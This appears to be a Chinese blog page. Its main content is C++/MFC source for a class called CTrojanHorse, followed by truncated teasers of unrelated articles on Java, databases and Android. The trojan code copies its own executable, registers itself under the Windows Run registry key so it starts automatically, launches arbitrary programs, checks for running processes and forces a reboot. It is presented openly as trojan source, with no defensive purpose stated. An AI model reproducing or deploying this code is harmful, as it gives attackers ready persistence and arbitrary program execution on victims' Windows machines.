1,自我複製.2,修改註冊表自動運行.3,關閉進程.4,啓動程序.5,重啓關機功能.
#include <tlhelp32.h> class CTrojanHorse { public://add code public://add code CTrojanHorse(); ~CTrojanHorse(); protected://add code BOOL IfShell(CString BeKissPrcName); BOOL CopyFileaddr(CString m_CopyFile); void ShellFile(CString m_ShellFile); BOOL SetAutoRun(CString strPath); void ShutDown(); private://add code }; CTrojanHorse::CTrojanHorse() { //add code } CTrojanHorse::~CTrojanHorse() { //add code } BOOL CTrojanHorse::IfShell(CString BeKissPrcName)//判斷程序是否在運行 { CString str,a,prcnum; HANDLE SnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); SHFILEINFO shSmall; PROCESSENTRY32 ProcessInfo;//聲明進程信息變量 ProcessInfo.dwSize=sizeof(ProcessInfo);//設置ProcessInfo的大小 //返回系統中第一個進程的信息 BOOL Status=Process32First(SnapShot,&ProcessInfo); int m_nProcess=0; int num=0; while(Status) { num++; m_nProcess++; ZeroMemory(&shSmall,sizeof(shSmall));//獲取進程文件信息 SHGetFileInfo(ProcessInfo.szExeFile,0,&shSmall, sizeof(shSmall),SHGFI_ICON|SHGFI_SMALLICON); str=ProcessInfo.szExeFile; if(str==BeKissPrcName) { AfxMessageBox("找到進程成功!"); return true; } //獲取下一個進程的信息 Status=Process32Next(SnapShot,&ProcessInfo); } AfxMessageBox("失敗!"); return false; } BOOL CTrojanHorse::CopyFileaddr(CString m_CopyFile) //複製文件 { char pBuf[MAX_PATH]; CString m_addr; GetCurrentDirectory(MAX_PATH,pBuf); //獲取程序的當前目錄 strcat(pBuf,"//"); strcat(pBuf,AfxGetApp()->m_pszExeName); strcat(pBuf,".exe"); m_addr=pBuf; if(CopyFile(m_addr,m_CopyFile,FALSE)) { AfxMessageBox("複製成功!"); return true; } return false; } void CTrojanHorse::ShellFile(CString m_ShellFile) //執行所要的程序 { ShellExecute(NULL,"open",m_ShellFile,NULL,NULL,SW_SHOWNORMAL); } BOOL CTrojanHorse::SetAutoRun(CString strPath) //修改註冊表 { CString str; HKEY hRegKey; BOOL bResult; str=_T("Software//Microsoft//Windows//CurrentVersion//Run"); if(RegOpenKey(HKEY_LOCAL_MACHINE, str, &hRegKey) != ERROR_SUCCESS) bResult=FALSE; else { _splitpath(strPath.GetBuffer(0),NULL,NULL,str.GetBufferSetLength(MAX_PATH+1),NULL); strPath.ReleaseBuffer(); str.ReleaseBuffer(); if(::RegSetValueEx( hRegKey, str, 0, REG_SZ, (CONST BYTE *)strPath.GetBuffer(0), strPath.GetLength() ) != ERROR_SUCCESS) bResult=FALSE; else bResult=TRUE; strPath.ReleaseBuffer(); } return bResult; } void CTrojanHorse::ShutDown() //重新啓動計算機 { if (IDYES == MessageBox("是否現在重新啓動計算機?", "註冊表提示", MB_YESNO)) { OSVERSIONINFO OsVerInfo; //保存系統版本信息的數據結構 OsVerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&OsVerInfo);//取得系統的版本信息 CString str1 = "", str2 = ""; str1.Format("你的系統信息/n版本爲:%d.%d/n", OsVerInfo.dwMajorVersion, OsVerInfo.dwMinorVersion); str2.Format("型號:%d/n", OsVerInfo.dwBuildNumber); str1 += str2; AfxMessageBox(str1); if(OsVerInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) ExitWindowsEx(EWX_REBOOT | EWX_SHUTDOWN, 0); //重新啓動計算機 } }
這個其實是一個特別高頻的面試題,松哥也一直很想和大家仔細來聊一聊這個話題,網上關於這塊的文章很多,但是我一直覺得要把這個問題講清楚還有點難度,今天我來試一試,看能不能和小夥伴們把這個問題梳理清楚,當然,如果小夥伴們覺得看文章不過癮,松哥也有
分享8個開箱即用的API,方便日常處理集合。 1. 快速過濾空值:Stream.ofNullable 該方法是在 Java 9 中引入的,有助於過濾集合中的所有空值,從而可能使我們避免空指針異常。 在下面的示例中,有一個包含 null 的L
一、背景 在日常部門OpsReview過程中,部門內多次遇到應用容器所在的宿主機磁盤繁忙導致的接口響應緩慢,TP99增高等影響服務性能的問題,其中比較有效的解決方案是開啓日誌的異步打印,可以有效避免同步日誌打印在磁盤IO高起的情況下拖慢業
本文分享自華爲雲社區《【MySQL技術專欄】MySQL8.0直方圖介紹》,作者:GaussDB 數據庫。 背景 數據庫查詢優化器負責將SQL查詢轉換爲儘可能高效的執行計劃,但因爲數據環境不斷變化導致優化器對查詢數據瞭解的不夠充足,可能無法
每篇一句 大魔王張怡寧:女兒,這堆金牌你拿去玩吧,但我的銀牌不能給你玩。你要想玩銀牌就去找你王浩叔叔吧,他那銀牌多 前言 爲了講述好Spring MVC最爲複雜的數據綁定這塊,我前面可謂是做足了功課,對此部分知識此處給小夥伴留一個學
作者:vivo 互聯網數據庫團隊- Qiu Xinbo 本文主要通過圖示介紹了用主鍵進行分片查詢的過程,介紹了主鍵分頁查詢存在SQL性能問題,如何去創建高效的索引去優化主鍵分頁查詢的SQL性能問題 對於數據分佈不均
JSON簡介: JSON(Java Script Object Notation)是一種輕量級的數據交換格式,通常用於在不同系統之間傳輸數據。它基於 JavaScript 對象語法,但已成爲一種獨立於語言的格式。JSON 數據以鍵值對的形式
一、簡單介紹: CaffeineCache和Guava的Cache是應用廣泛的本地緩存。 在開發中,爲了達到降低依賴、提高訪問速度的目的。會使用它存儲一些維表接口的返回值和數據庫查詢結果,在有些場景下也會在分佈式緩存上再加上一層本地緩存,
作者:vivo 互聯網大前端團隊 - Ma Lian 本文主要描述了FileProvider,startAnyWhere實現,Parcel不對稱漏洞以及這三者結合產生的漏洞利用實戰,另外闡述了漏洞利用的影響和修復預防措施,這個漏洞波及了
本文分享自華爲雲社區《GaussDB SQL基本語法示例-CASE表達式》,作者:Gauss松鼠會小助手2。 一、前言 SQL是用於訪問和處理數據庫的標準計算機語言。GaussDB支持SQL標準(默認支持SQL2、SQL3和SQL4的主要
Impala目前支持Hadoop中幾種常見的文件格式 Parquet 、 ORC 、 Text 、 Avro 、 RCFile 和 SequenceFile 。下面簡要說明各種格式的使用、限制和一些注意事項。 不同的文件格式有着不同的適用場
轉載自劉茫茫看山 問題背景 某天我們的租戶反饋數據庫連接缺少必要的驅動,我們通過日誌查看確實是缺少部分數據庫的驅動,因爲DolphinScheduler默認只帶了Oracle和MySQL的驅動,並且需要將pom文件中的test模式去掉纔可以
一般我們在Linux下執行某些外部程序的時候可能會提示找不到共享庫的錯誤, 比如: tmux: error while loading shared libraries: libevent-1.4.so.2: cannot open sha
安裝MYSQL時的一系列三大問題與三大解決方法 問題一: 問題二: 問題三: 問題一: 在安裝時候輸入 net start mysql 時候報錯爲: net不是內部或外部命令也不是可運行。 解決方法: 環境變量的問題
1)編碼 消息長度(short int-->2個字節) + 消息編號(short int--》2個字節) + 消息體 2)Protobuf協議文檔 (1)syntax="proto3"; (2)命名格式